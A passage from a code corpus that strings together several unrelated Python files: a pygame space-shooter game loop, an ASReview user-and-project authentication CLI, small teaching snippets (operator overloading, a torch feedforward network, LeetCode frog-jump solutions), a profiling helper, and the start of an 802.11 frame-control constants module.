statmods:\n\t\tif(obj.collide(ship, mod)):\t#if we collect the modifier\n\t\t\tmodID = mod.payload(ship)\n\t\t\tif modID == 1:\n\t\t\t\tspeedupstarttime = time\n\t\t\t\tSCROLLSPEED = 7\n\t\t\telif modID == 2:\n\t\t\t\tmoregunsstarttime = time\n\t\t\tmodRMindex.append(statmods.index(mod))\n\t\tmod.move()\n\t\tif(mod.y > obj.SCREENH):\t#if the modifier goes off screen\n\t\t\tmodRMindex.append(statmods.index(mod))\n\t#remove obtained status modifiers\n\tfor index in modRMindex: statmods.pop(index)\n\tmodRMindex = []\n\n\t#this is so that we don't mess up the previous for iteration\n\t#remove saucers from array\n\t#I wonder if that bug is caused because only one saucer can die an iteration...\n\tif(dietest == 1):\n\t\tsaucers.pop(deadindex)\n\t\tdietest = 0\n\t\t#print \"LEN \" + str(len(saucers))\n\t\tif(len(saucers) == 0): \n\t\t\tBEASTMODE = 2\n\t\t\tboss.inittime = time\n\n\t#for final player death\n\tif(ship.health <= 0 and endtime == 0): \n\t\tendtime = time\n\n\tif(ship.active == False):\n\t\tdoneExploding = ship.explode(time)\n\t\t#print doneExploding\n\t\tif(doneExploding):\n\t\t\tship.respawn(shipimg)\n\t\t\tSCROLLSPEED = NORMSCROLLSPEED\n\t\t\tship.bamfmode = False\n\n#\t\tif(endtime == 0):\n#\t\t\tendtime = time\n\t#for time delay after death\n\tif(time >= endtime + 4000 and endtime != 0):\n\t\t#print \"game over\"\n\t\tendgame = 2\n\n\t#if boss got killed make Sonic style boss death explosion\n\t#explode is called multiple times over several main loops to advance the explosion frame\n\tif(BEASTMODE == 4):\n\t\tfor splat in boom:\n\t\t\t#if first pass, initialize explosion sequence\n\t\t\tif(len(boom) == 1 and splat.exploding == -1):\n\t\t\t\tsplat.x = random.randrange(boss.x, boss.x+boss.width-obj.explosion[0].get_width()) #subtract explosion width\n\t\t\t\tsplat.y = random.randrange(boss.y, boss.y+boss.height-obj.explosion[0].get_height())\n\t\t\t\tobj.explosion.append(blacksquare)\t#to take chunks out of boss\n\t\t\tsplat.explode(time)\n\t\tif(boom[-1].exploding == 2 and len(boom) < 8):\n\t\t\tboom.append(obj.MoveableObject(random.randrange(boss.x, boss.x+boss.width-obj.explosion[0].get_width()), random.randrange(boss.y, boss.y+boss.height-obj.explosion[0].get_height()), pygame.Surface((1,1))))\n\t\t#if boss is done exploding\n\t\tif(len(boom) == 8 and boom[-1].exploding == len(obj.explosion)):\n\t\t\tBEASTMODE = 5\n\t\t\tscore += 1000\n\t\t\tendtime = time\n\t\t\t#print \"BEASTMODE 5\"\n\n\t#if(boom[7].exploding == 4):\n\t#\tendtime = time\n\t#\tBEASTMODE = 5\n\t#meh inefficient\n\t#this may have to be reexamined, testing beastmode < 3\n\tif(boss.y > 0 and BEASTMODE < 3): BEASTMODE = 3\n\n\t#if boss is displayed\n\tif(4 > BEASTMODE >= 2):\n\t\tboss.move(ship, time)\n\t\t#if ship collides with boss, lose life\n\t\tif(obj.collide(ship, boss)):\n\t\t\t#print \"boss collision\"\n\t\t\tship.die()\t#evaluation of death is earlier in the code\n\n\t#power up (speed) deactivation\n\t#print time\n\t#print speedupstarttime\n\t#print time - speedupstarttime\n\tif(speedupstarttime > 0 and ((time - speedupstarttime) > 15000)):\t#or ship exploding\n\t\t#print \"Speed Reset\"\n\t\tship.speed = 5\n\t\tSCROLLSPEED = NORMSCROLLSPEED\n\t\tspeedupstarttime = -1\n\t#more guns deactivation\n\tif(moregunsstarttime > 0 and ((time - moregunsstarttime) > 15000)):\n\t\t#print \"Gun Reset\"\n\t\tship.bamfmode = False\n\t\tmoregunsstarttime = -1\n\n\t#text rendering\n\thealthlbl = myfont.render(\"Health: \" + str(ship.health), 1, (255,255,0))\n\tscorelbl = myfont.render(\"Score: \" + str(score), 1, (255,255,0))\n\tbosslbl = myfont.render(\"Boss Health: \" + str(boss.health), 1, (255,255,0))\t\n\n\n\t#render images\n\n\tscreen.fill(BLACK)\n\t\n\t#for seamless vertical scrolling\n\tif(changeover == 0):\n\t\tscreen.blit(bg, (0,0), (0, 2000-obj.SCREENH-bgoffset, obj.SCREENW, 2000-bgoffset))\n\telif(changeover == 1):\n\t\t#print \"ychng: \" + str(ychng)\n\t\t#print \"bgoffset: \" + str(bgoffset)\n\t\tscreen.blit(bg, (0,0), (0, bg.get_height()-ychng, obj.SCREENW, 2000))\n\t\tscreen.blit(bg, (0, ychng), (0, 0, obj.SCREENW, obj.SCREENH - ychng))\n\n\tif(BEASTMODE >= 2): screen.blit(boss.image, (boss.x, boss.y))\n\tscreen.blit(ship.image, (ship.x, ship.y))\t#this should probably be rendered last for overlap reasons\n\tfor saucer in saucers:\n\t\tscreen.blit(saucer.image, (saucer.x, saucer.y))\n\n\t#power up rendering\n\tfor mod in statmods:\n\t\tscreen.blit(mod.image, (mod.x, mod.y))\n\n\tfor bullet in bullets:\n\t\tscreen.blit(bullet.image, (bullet.x, bullet.y))\n\tif(BEASTMODE >= 4): \n\t\t#if(boom[-1].exploding == 2):\n\t\t\t#print \"blacksquare\"\n\t\t\t#boss.image.blit(blacksquare, (boom[-1].x, boom[-1].y))\n\t\tfor splat in boom:\n\t\t\tscreen.blit(splat.image, (splat.x, splat.y))\n\t#screen.blit(explosion[explframe], (obj.SCREENW/2, obj.SCREENH/2))\n\tscreen.blit(healthlbl, (obj.SCREENW - 100, 20))\n\tscreen.blit(scorelbl, (obj.SCREENW - 100, 35))\n\tif(BEASTMODE >= 3): screen.blit(bosslbl, (obj.SCREENW/2, 20))\n\n\t#for i in range(0,5):\n\t\t#screen.blit(obj.explosion[i], (i*120, 300))\n\n\tpygame.display.flip()\t\t\t#apply double buffer\n\n\t#if(explframe > 3): explframe=0\n\t#else: explframe += 1\n\t\n\t#change offset for vertical scroll\n\tif(bgoffset > 2000):\n\t\tbgoffset = 0\n\t\tchangeover = 0\n\t\tychng = 0\n\telse: bgoffset+=SCROLLSPEED\n\n\tif(2000 >= bgoffset > 2000-obj.SCREENH):\n\t\tychng += SCROLLSPEED\n\t\tchangeover = 1\n\t#print \"time: \" + str(time)\n\t#print \"health: \" + str(ship.health)\n\t#print \"score: \" + str(score)\n\n\t#debug messages\n\t#print \"ship speed = \" + str(ship.speed)\n\t#print \"SCROLLSPEED = \" + str(SCROLLSPEED)\n\n#end game loop\n\n#display end screens\nif(BEASTMODE == 5):\n\tdisp = pygame.image.load(\"victory1.png\")\nelse:\n\tdisp = pygame.image.load(\"dead1.png\")\n\n#add loop to get input, continue to high scores, etc\ncont = 0\nwhile(cont == 0):\n\tfor event in pygame.event.get():\n\t\tif event.type == pygame.QUIT: cont = 1\n\t\tif not hasattr(event, 'key'): continue\n\t\tif event.key == pygame.K_ESCAPE: cont = 1\n\tscreen.blit(disp, (0,0))\n\tpygame.display.flip()\n#elif(endgame == 1): continue\n\n#update and view high scores\n#open file\n#scores = []\n#f = open('scores', 'rw')\n#for line in f:\n#\tscores.append(line)\n#print scores\n#read scores into list\n#compare score to list\n#display high scores\n\n\npygame.quit()\nsys.exit()\n","sub_path":"killthealiens.py","file_name":"killthealiens.py","file_ext":"py","file_size_in_byte":14589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"269644842","text":"import argparse\nimport json\nimport sys\nfrom argparse import RawTextHelpFormatter\nfrom uuid import UUID\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.exc import IntegrityError\nfrom sqlalchemy.orm import sessionmaker\n\nfrom asreview.entry_points.base import BaseEntryPoint\nfrom asreview.project import ASReviewProject\nfrom asreview.utils import asreview_path\nfrom asreview.webapp.authentication.models import Project\nfrom asreview.webapp.authentication.models import User\n\n\ndef auth_parser():\n parser = argparse.ArgumentParser(\n prog=\"auth_converter\",\n description=\"\"\"ASReview Authentication Conversion - convert your app to handle multiple users.\"\"\", # noqa\n formatter_class=RawTextHelpFormatter,\n epilog=\"Use -h or --help on all subcommands to view the available options.\",\n )\n\n sub_parser = parser.add_subparsers(help=\"The following options are available:\")\n\n user_par = sub_parser.add_parser(\"add-users\", help=\"Add users into the database.\")\n\n user_par.add_argument(\n \"-d\",\n \"--db-path\",\n type=str,\n help=\"Absolute path to authentication sqlite3 database.\",\n required=True,\n )\n\n user_par.add_argument(\n \"-j\",\n \"--json\",\n type=str,\n help=\"JSON string that contains a list with user account data.\",\n )\n\n list_users_par = sub_parser.add_parser(\n \"list-users\",\n help=\"List user accounts.\",\n )\n\n list_users_par.add_argument(\n \"-d\",\n \"--db-path\",\n type=str,\n help=\"Absolute path to authentication sqlite3 database.\",\n required=True,\n )\n\n list_projects_par = sub_parser.add_parser(\n \"list-projects\",\n help=\"List project info from all projects in the ASReview folder.\",\n )\n list_projects_par.add_argument(\n \"-j\",\n \"--json\",\n action=\"store_true\",\n help=\"Create JSON string to connect existing projects with users.\",\n )\n\n link_par = sub_parser.add_parser(\n \"link-projects\", help=\"Link projects to user accounts.\"\n )\n\n link_par.add_argument(\n \"-j\",\n \"--json\",\n type=str,\n help=\"Use a JSON string to link projects to users.\",\n )\n\n link_par.add_argument(\n \"-d\",\n \"--db-path\",\n type=str,\n help=\"Absolute path to authentication sqlite3 database.\",\n required=True,\n )\n\n return parser\n\n\ndef verify_id(id):\n try:\n UUID(id)\n return True\n except ValueError:\n return False\n\n\ndef insert_user(session, entry):\n \"\"\"Inserts a dictionary containing user data\n into the database.\"\"\"\n # create a user object\n user = User(\n entry[\"email\"].lower(),\n email=entry[\"email\"].lower(),\n name=entry[\"name\"],\n affiliation=entry[\"affiliation\"],\n password=entry[\"password\"],\n confirmed=True,\n )\n try:\n session.add(user)\n session.commit()\n print(f\"User with email {user.email} created.\")\n return True\n except IntegrityError:\n session.rollback()\n sys.stderr.write(f\"User with identifier {user.email} already exists\")\n return False\n\n\ndef insert_project(session, project):\n # get owner and project id\n owner_id = project[\"owner_id\"]\n project_id = project[\"project_id\"]\n\n # check if this project was already in the database under\n # the old project id\n db_project = (\n session.query(Project).filter(Project.project_id == project_id).one_or_none()\n )\n if db_project is None:\n # create new record\n session.add(Project(owner_id=owner_id, project_id=project_id))\n else:\n # update record (project_id must be the same)\n db_project.owner_id = owner_id\n # commit\n session.commit()\n print(\"Project data is stored.\")\n return True\n\n\ndef get_users(session):\n return session.query(User).all()\n\n\nclass AuthTool(BaseEntryPoint):\n def execute(self, argv):\n parser = auth_parser()\n args = parser.parse_args(argv)\n\n self.args = args\n self.argv = argv\n\n # create a conn object for the database\n if hasattr(self.args, \"db_path\") and self.args.db_path is not None:\n Session = sessionmaker()\n engine = create_engine(f\"sqlite:///{self.args.db_path}\")\n Session.configure(bind=engine)\n self.session = Session()\n\n if \"add-users\" in argv:\n self.add_users()\n elif \"list-users\" in argv:\n self.list_users()\n elif \"list-projects\" in argv:\n self.list_projects()\n elif \"link-projects\" in argv:\n self.link_projects()\n\n def add_users(self):\n if self.args.json is not None:\n entries = json.loads(self.args.json)\n # try to insert entries into the database\n for entry in entries:\n insert_user(self.session, entry)\n else:\n self.enter_users()\n\n def _ensure_valid_value_for(self, name, validation_function, hint=\"\"):\n \"\"\"Prompt user for validated input.\"\"\"\n while True:\n value = input(f\"{name}: \")\n if validation_function(value):\n return value\n else:\n sys.stderr.write(hint)\n\n def enter_users(self):\n while True:\n new_user = input(\"Enter a new user [Y/n]? \")\n if new_user == \"Y\":\n email = self._ensure_valid_value_for(\n \"Email address (required)\",\n User.valid_email,\n \"Entered email address is not recognized as a valid email address.\", # noqa\n )\n name = self._ensure_valid_value_for(\n \"Full name (required)\",\n lambda x: bool(x) and len(x) > 2,\n \"Full name must contain more than 2 characters.\",\n )\n affiliation = input(\"Affiliation: \")\n password = self._ensure_valid_value_for(\n \"Password (required)\",\n User.valid_password,\n \"Use 8 or more characters with a mix of letters, numbers & symbols.\", # noqa\n )\n\n insert_user(\n self.session,\n {\n \"email\": email,\n \"name\": name,\n \"affiliation\": affiliation,\n \"password\": password,\n },\n )\n else:\n break\n\n return True\n\n def _print_project(self, project):\n print(f\"\\n* {project['folder']}\")\n print(f\"\\tversion: {project['version']}\")\n print(f\"\\tid: {project['project_id']}\")\n print(f\"\\tname: {project['name']}\")\n print(f\"\\tauthors: {project['authors']}\")\n print(f\"\\tcreated: {project['created']}\")\n\n def _print_user(self, user):\n if bool(user.affiliation):\n postfix = f\", {user.affiliation}\"\n else:\n postfix = \"\"\n print(f\" {user.id} - {user.email} ({user.name}){postfix}\")\n\n def _get_projects(self):\n projects = [f for f in asreview_path().glob(\"*\") if f.is_dir()]\n result = []\n for folder in projects:\n project = ASReviewProject(folder)\n\n # Raise a RuntimeError if the project version is too low.\n if project.config.get(\"version\").startswith(\"0.\"):\n id = project.config.get(\"id\")\n message = f\"\"\"Version of project with id {id} is too old,\n please upgrade first before using this tool.\"\"\"\n raise RuntimeError(message)\n\n result.append(\n {\n \"folder\": folder.name,\n \"version\": project.config.get(\"version\"),\n \"project_id\": project.config.get(\"id\"),\n \"name\": project.config.get(\"name\"),\n \"authors\": project.config.get(\"authors\"),\n \"created\": project.config.get(\"datetimeCreated\"),\n \"owner_id\": 0,\n }\n )\n return result\n\n def list_users(self):\n users = get_users(self.session)\n print()\n for user in users:\n self._print_user(user)\n print()\n\n def list_projects(self):\n projects = self._get_projects()\n if self.args.json:\n # dump the data twice to create a string\n # that can be loaded again by the tool.\n print(json.dumps(json.dumps(projects)))\n else:\n [self._print_project(p) for p in projects]\n if len(projects) > 0:\n print()\n\n def _generate_project_links(self):\n result = []\n # get users and projects\n users = get_users(self.session)\n user_ids = [u.id for u in users]\n projects = self._get_projects()\n # print projects\n for project in projects:\n self._print_project(project)\n print(\"Who's the owner of this project?\")\n print(\"--------------------------------\")\n for user in users:\n self._print_user(user)\n id = None\n # and ask who the owner is\n while True:\n id = input(\"Enter the ID number of the owner: \")\n try:\n if isinstance(id, str):\n id = id.replace(\".\", \"\")\n id = int(id)\n if id not in user_ids:\n print(\"Entered ID does not exists, try again.\")\n else:\n insert_project(\n self.session,\n {\"project_id\": project[\"project_id\"], \"owner_id\": id},\n )\n break\n except ValueError:\n sys.stderr.write(\"Entered ID is not a number, please try again.\")\n return result\n\n def link_projects(self):\n # bulk JSON vs interactive\n if self.args.json is not None:\n projects = json.loads(self.args.json)\n # enter data in the database\n for project in projects:\n insert_project(self.session, project)\n else:\n self._generate_project_links()\n","sub_path":"asreview/entry_points/auth_tool.py","file_name":"auth_tool.py","file_ext":"py","file_size_in_byte":10331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"217832580","text":"a = 5\nb = 'Parvez'\n\n# ash = a + b\n\n# print(ash)\n\n# Its throwing an error. \n# This is synthetic sugar.\n\nclass Student:\n\n def __init__(self, bangla, english):\n self.bangla = bangla\n self.english = english\n\n def __add__(self, other):\n bangla = self.bangla + other.bangla\n english = self.english + other.english\n together = Student(bangla, english)\n return together\n\n def add(self,a, b):\n print(a+b)\n\nmaruf = Student(10,12)\nshams = Student(90,95)\n\ntogether = maruf + shams\nprint(together.bangla)","sub_path":"oop_operator_overloading.py","file_name":"oop_operator_overloading.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"584095210","text":"import numpy as np\nimport torch\nimport math\n\n\nclass NeuralNetwork:\n def __init__(self, layers_list: list):\n self.layers_list = layers_list\n if len(self.layers_list) < 2: \n print(\"\\nERROR: The network must have at least 2 layers!\\n\")\n exit(1)\n self.numNodes_input = self.layers_list[0]\n self.numNodes_output = self.layers_list[len(self.layers_list) - 1]\n self.theta = {} \n self.strs = [\"\" for x in range(len(self.layers_list) - 1)] \n for i in range(0, len(self.layers_list) - 1):\n self.strs[i] = \"theta(layer\" + str(i) + \"-layer\" + str(i + 1) + \")\"\n for index in range(len(self.layers_list) - 1):\n self.theta_np = np.random.normal(0, 1 / math.sqrt(self.layers_list[index]),\n (self.layers_list[index] + 1, self.layers_list[index + 1]))\n self.theta[self.strs[index]] = torch.from_numpy(self.theta_np) \n\n\n def getLayer(self, layer: int):\n self.layer = layer\n return self.theta[self.strs[layer]]\n\n def forward(self, input: torch.DoubleTensor):\n def sigmoid(inp: torch.DoubleTensor):\n product = inp.numpy() \n sig = 1 / (1 + np.exp(-product))\n return torch.from_numpy(sig) \n self.input = input\n (row, col) = self.input.size()\n if row != self.numNodes_input:\n print(\"ERROR: The defined network input layer and input size mismatch!\")\n print(\"Please enter only %r no of inputs\" % self.numNodes_input)\n exit(2)\n if col == 1:\n bias = torch.ones((1, 1))\n else:\n bias = torch.ones((1, col))\n\n bias = bias.type(torch.DoubleTensor)\n sig_prod = self.input\n\n for i in range(len(self.layers_list) - 1):\n cat_input = torch.cat((bias, sig_prod), 0)\n theta_trans = torch.t(self.theta[self.strs[i]])\n prod = torch.mm(theta_trans, cat_input)\n sig_prod = sigmoid(prod)\n\n return sig_prod\n","sub_path":"Homework-02/neural_network.py","file_name":"neural_network.py","file_ext":"py","file_size_in_byte":2043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"590807280","text":"import numpy as np\n\ndef parse(file):\n current_time = 0\n begin_times = {}\n string_mapping = {}\n data = {}\n\n with open(file) as fp:\n reader = csv.reader(fp, delimiter=',', quotechar='\\\\')\n for row in reader:\n type = int(row[0])\n\n if type == 0 or type == 1:\n current_time = current_time + int(row[2])\n\n if type == 0:\n # Save the begin time in a temporary dict\n begin_times[int(row[1])] = current_time\n elif type == 1:\n id = int(row[1])\n label = string_mapping[id]\n if label not in data:\n data[label] = []\n data[label].append((begin_times[id], current_time))\n del begin_times[id]\n elif type == 2:\n # save string mapping for later usage\n string_mapping[int(row[1])] = row[2]\n return data\n\nclass Profiling:\n begin_times = {}\n data = {}\n\n def feed(self, flag, timestamp, label):\n if flag == 0:\n self.begin_times[label] = timestamp\n elif flag == 1:\n if label in self.begin_times:\n begin = self.begin_times[label]\n delta = timestamp - begin\n if label not in self.data:\n self.data[label] = []\n self.data[label].append(delta)\n else:\n print(\"Unknown label: {}\".format(label))\n else:\n print(\"Unknown flag\")\n\n def analyze(self):\n \"\"\" Compute mean/std/min/max for every process idependently \"\"\"\n result = []\n for key in self.data:\n exec_times = self.data[key]\n result.append({\n \"label\" : key,\n \"min\" : np.amin(exec_times),\n \"max\" : np.amax(exec_times),\n \"mean\" : np.mean(exec_times),\n \"std\" : np.std(exec_times),\n \"count\" : len(exec_times)\n })\n return result\n","sub_path":"lms/profiling.py","file_name":"profiling.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"350411784","text":"# Time: O(n)\n# Space: O(n)\n\n# A frog is crossing a river. The river is divided into x units and\n# at each unit there may or may not exist a stone. \n# The frog can jump on a stone, but it must not jump into the water.\n#\n# Given a list of stones' positions (in units) in sorted ascending order,\n# determine if the frog is able to cross the river by landing on the last stone.\n# Initially, the frog is on the first stone and assume the first jump must be 1 unit.\n#\n# If the frog has just jumped k units, then its next jump must be\n# either k - 1, k, or k + 1 units. Note that the frog can only jump in the forward direction.\n#\n# Note:\n#\n# The number of stones is >= 2 and is < 1,100.\n# Each stone's position will be a non-negative integer < 231.\n# The first stone's position is always 0.\n# Example 1:\n#\n# [0,1,3,5,6,8,12,17]\n#\n# There are a total of 8 stones.\n# The first stone at the 0th unit, second stone at the 1st unit,\n# third stone at the 3rd unit, and so on...\n# The last stone at the 17th unit.\n#\n# Return true. The frog can jump to the last stone by jumping \n# 1 unit to the 2nd stone, then 2 units to the 3rd stone, then \n# 2 units to the 4th stone, then 3 units to the 6th stone, \n# 4 units to the 7th stone, and 5 units to the 8th stone.\n# Example 2:\n#\n# [0,1,2,3,4,8,9,11]\n#\n# Return false. There is no way to jump to the last stone as \n# the gap between the 5th and 6th stone is too large.\n\n# DP with hash table\nclass Solution(object):\n def canCross(self, stones):\n \"\"\"\n :type stones: List[int]\n :rtype: bool\n \"\"\"\n lookup = {}\n for k, v in enumerate(stones):\n lookup[v] = k\n\n dp = [False for _ in xrange(len(stones))]\n dp[0] = True\n for i in xrange(len(stones)):\n if dp[i]:\n for k in (i-1, i, i+1):\n if stones[i] + k in lookup:\n dp[lookup[stones[i] + k]] = True\n return dp[-1]\n\n\n# Time: O(nlogn)\n# Space: O(n)\n# DP with binary search\nclass Solution2(object):\n def canCross(self, stones):\n \"\"\"\n :type stones: List[int]\n :rtype: bool\n \"\"\"\n def findNextStones(stones, i):\n next_stones = []\n for k in (i-1, i, i+1):\n j = bisect.bisect_left(stones, stones[i] + k)\n if j != len(stones) and stones[j] == stones[i] + k:\n next_stones.append(j)\n return next_stones\n \n dp = [False for _ in xrange(len(stones))]\n dp[0] = True\n for i in xrange(len(stones)):\n if dp[i]:\n for j in findNextStones(stones, i):\n dp[j] = True\n return dp[-1]\n\n\n# Time: O(n^2)\n# Space: O(n)\nclass Solution3(object):\n def canCross(self, stones):\n \"\"\"\n :type stones: List[int]\n :rtype: bool\n \"\"\"\n dp = [False for _ in xrange(len(stones))]\n dp[0] = True\n\n for i in xrange(1, len(stones)):\n for j in reversed(xrange(i)):\n if stones[i] - stones[j] > j + 1:\n break\n if dp[j] and ((stones[i] - stones[j]) in ([j-1, j, j+1] if i != 1 else [1])):\n dp[i] = True\n break\n\n return dp[-1]\n","sub_path":"Python/frog-jump.py","file_name":"frog-jump.py","file_ext":"py","file_size_in_byte":3265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"399327681","text":"########################################################################################\n# WiFi tool box\n########################################################################################\n\nimport struct\nimport ethernet\nimport common.bytes\n\n# define the MAC HW queues\nQ_BCN = 0\nQ_BK = 1\nQ_BE = 2\nQ_VI = 3\nQ_VO = 4\n\n# define the air queues in which the transmitted frames are pushed\nAIR_DATA_TID0 = 0\nAIR_DATA_TID1 = 1\nAIR_DATA_TID2 = 2\nAIR_DATA_TID3 = 3\nAIR_DATA_TID4 = 4\nAIR_DATA_TID5 = 5\nAIR_DATA_TID6 = 6\nAIR_DATA_TID7 = 7\nAIR_DATA_NQOS = 8\nAIR_MGMT = 9\nAIR_CTRL = 10\n\nAIR_NAME = (\"DATA_TID0\", \"DATA_TID1\", \"DATA_TID2\", \"DATA_TID3\", \"DATA_TID4\",\n \"DATA_TID5\", \"DATA_TID6\", \"DATA_TID7\", \"DATA_NQOS\", \"MGMT\", \"CTRL\")\n\n\n\n# define the priority to queue mapping\nQ_PRIO = (Q_BE, Q_BK, Q_BK, Q_BE, Q_VI, Q_VI, Q_VO, Q_VO)\n\n# define the MAC HQ queue names\nQ_NAME = (\"Q_BCN\", \"Q_BK\", \"Q_BE\", \"Q_VI\", \"Q_VO\")\n\n# define the tuple of available channels\nchannels = (1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 36, 40, 44, 48, 52, 56, 60, 64, \n 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 149, 153, 157, 161, 165)\n\n# define default values for frame control\nfctl_protocolversion = 0x3\nfctl_type = 0xC\nfctl_type_mgt = 0\nfctl_type_ctrl = 4\nfctl_type_data = 8\nfctl_type_reserved = 0xC\nfctl_subtype = 0xF0\nfctl_associationreq = fctl_type_mgt | 0x00\nfctl_associationresp = fctl_type_mgt | 0x10\nfctl_reassociationreq = fctl_type_mgt | 0x20\nfctl_reassociationresp = fctl_type_mgt | 0x30\nfctl_probereq = fctl_type_mgt | 0x40\nfctl_proberesp = fctl_type_mgt | 0x50\nfctl_beacon = fctl_type_mgt | 0x80\nfctl_atim = fctl_type_mgt | 0x90\nfctl_disassociation = fctl_type_mgt | 0xa0\nfctl_authentication = fctl_type_mgt | 0xb0\nfctl_deauthentication = fctl_type_mgt | 0xc0\nfctl_action = fctl_type_mgt | 0xd0\nfctl_actionnoack = fctl_type_mgt | 0xe0\nfctl_controlwrapper = fctl_type_ctrl | 0x70\nfctl_bar = fctl_type_ctrl | 0x80\nfctl_ba = fctl_type_ctrl | 0x90\nfctl_pspoll = fctl_type_ctrl | 0xa0\nfctl_rts = fctl_type_ctrl | 0xb0\nfctl_cts = fctl_type_ctrl | 0xc0\nfctl_ack = fctl_type_ctrl | 0xd0\nfctl_cfend = fctl_type_ctrl | 0xe0\nfctl_cfendcfack = fctl_type_ctrl | 0xf0\nfctl_data = fctl_type_data | 0x00\nfctl_datacfack = fctl_type_data | 0x10\nfctl_datacfpoll = fctl_type_data | 0x20\nfctl_datacfackcfpoll = fctl_type_data | 0x30\nfctl_null = fctl_type_data | 0x40\nfctl_cfack = fctl_type_data | 0x50\nfctl_cfpoll = fctl_type_data | 0x60\nfctl_cfackcfpoll = fctl_type_data | 0x70\nfctl_qosdata = fctl_type_data | 0x80\nfctl_qosdatacfack = fctl_type_data | 0x90\nfctl_qosdatacfpoll = fctl_type_data | 0xa0\nfctl_qosdatacfackcfpoll = fctl_type_data | 0xb0\nfctl_qosnull = fctl_type_data | 0xc0\nfctl_qoscfpoll = fctl_type_data | 0xe0\nfctl_qoscfackcfpoll = fctl_type_data | 0xf0\nfctl_tods = 0x100\nfctl_fromds = 0x200\nfctl_morefrag = 0x400\nfctl_retry = 0x800\nfctl_pwrmgt = 0x1000\nfctl_moredata = 0x2000\nfctl_protected = 0x4000\nfctl_order = 0x8000\n\ncapa_ess = 0x1\ncapa_ibss = 0x2\ncapa_cfpollable = 0x4\ncapa_cfpollreq = 0x8\ncapa_privacy = 0x10\ncapa_shortpreamble = 0x20\ncapa_qos = 0x200\n\n# define the bit masks in the sequence control field\nsctl_seqnum = 0xFFF0\nsctl_fragnum = 0x000F\n\n# define the IE identifier\nie_ssid = 0\nie_supportedrates = 1\nie_fh = 2\nie_ds = 3\nie_cf = 4\nie_tim = 5\nie_ibss = 6\nie_country = 7\nie_hopparam = 8\nie_hoptable = 9\nie_request = 10\nie_bssload = 11\nie_edca = 12\nie_tspec = 13\nie_tclas = 14\nie_schedule = 15\nie_challenge = 16\nie_powerconstraint = 32\nie_powercapa = 33\nie_tpcreq = 34\nie_tpcrep = 35\nie_supchannels = 36\nie_chswitch = 37\nie_measreq = 38\nie_mesrep = 39\nie_quiet = 40\nie_ibssdfs = 41\nie_erpinfo = 42\nie_tsdelay = 43\nie_tclasproc = 44\nie_htcapa = 45\nie_qoscapa = 46\nie_rsn = 48\nie_extendedrates = 50\nie_htoperation = 61\nie_secondarych = 62\nie_2040coex = 72\nie_2040intolerant = 73\nie_overlapping = 74\nie_extendedcapa = 127\nie_vs = 221\n\n# define the name of the frame per typesubtype\nframename = {fctl_associationreq:\"ASSOCIATION_REQUEST\",\n fctl_associationresp:\"ASSOCIATION_RESPONSE\",\n fctl_reassociationreq:\"REASSOCIATION_REQUEST\",\n fctl_reassociationresp:\"REASSOCIATION_RESPONSE\",\n fctl_probereq:\"PROBE_REQUEST\",\n fctl_proberesp:\"PROBE_RESPONSE\",\n fctl_beacon:\"BEACON\",\n fctl_atim:\"ATIM\",\n fctl_disassociation:\"DISASSOCIATION\",\n fctl_authentication:\"AUTHENTICATION\",\n fctl_deauthentication:\"DEAUTHENTICATION\",\n fctl_action:\"ACTION\",\n fctl_actionnoack:\"ACTIONNOACK\",\n fctl_controlwrapper:\"CONTROLWRAPPER\",\n fctl_bar:\"BLOCKACK_REQUEST\",\n fctl_ba:\"BLOCKACK\",\n fctl_pspoll:\"PS_POLL\",\n fctl_rts:\"RTS\",\n fctl_cts:\"CTS\",\n fctl_rts:\"RTS\",\n fctl_ack:\"ACK\",\n fctl_cfend:\"CFEND\",\n fctl_cfendcfack:\"CFENDCFACK\",\n fctl_data:\"DATA\",\n fctl_datacfack:\"DATACFACK\",\n fctl_datacfpoll:\"DATACFPOLL\",\n fctl_datacfackcfpoll:\"DATACFACKCFPOLL\",\n fctl_null:\"NULL\",\n fctl_cfack:\"CFACK\",\n fctl_cfpoll:\"CFPOLL\",\n fctl_cfackcfpoll:\"CFACKCFPOLL\",\n fctl_qosdata:\"QOSDATA\",\n fctl_qosdatacfack:\"QOSDATACFACK\",\n fctl_qosdatacfpoll:\"QOSDATACFPOLL\",\n fctl_qosdatacfackcfpoll:\"QOSDATACFACKCFPOLL\",\n fctl_qosnull:\"QOSNULL\",\n fctl_qoscfpoll:\"QOSCFPOLL\",\n fctl_qoscfackcfpoll:\"QOSCFACKCFPOLL\"\n }\n\ndef fctl_unpack(fctl):\n \"\"\"\n Unpack all the subfields from the frame control.\n \n return -- following tuple:\n (type : int, subtype : int, typesubtype : int, to DS : bool, from DS : bool, \n more frag: bool, retry : bool, ps : bool, more data : bool, protected : bool, \n order : bool)\n \"\"\"\n return ((fctl & fctl_type), \n (fctl & fctl_subtype), \n (fctl & (fctl_type|fctl_subtype)), \n (fctl & fctl_tods) != 0, (fctl & fctl_fromds) != 0, \n (fctl & fctl_morefrag) != 0, (fctl & fctl_retry) != 0, \n (fctl & fctl_pwrmgt) != 0, (fctl & fctl_moredata) != 0, \n (fctl & fctl_protected) != 0, (fctl & fctl_order) != 0)\n\ndef fctl_pack(type, tds, fds, mf, r, ps, md, p, o):\n \"\"\"\n Packs all the subfields of the frame control field.\n \n Mandatory arguments:\n type -- type + subtype of the frame\n tds -- to DS boolean\n fds -- from DS boolean\n mf -- more frag boolean\n r -- retry boolean\n md -- more data boolean\n p -- protected boolean\n o -- order boolean\n\n return -- the formatted frame control\n \"\"\"\n \n fctl = type\n \n if tds:\n fctl |= fctl_tods\n if fds:\n fctl |= fctl_fromds\n if mf:\n fctl |= fctl_morefrag\n if r:\n fctl |= fctl_retry\n if md:\n fctl |= fctl_moredata\n if p:\n fctl |= fctl_protected\n if o:\n fctl 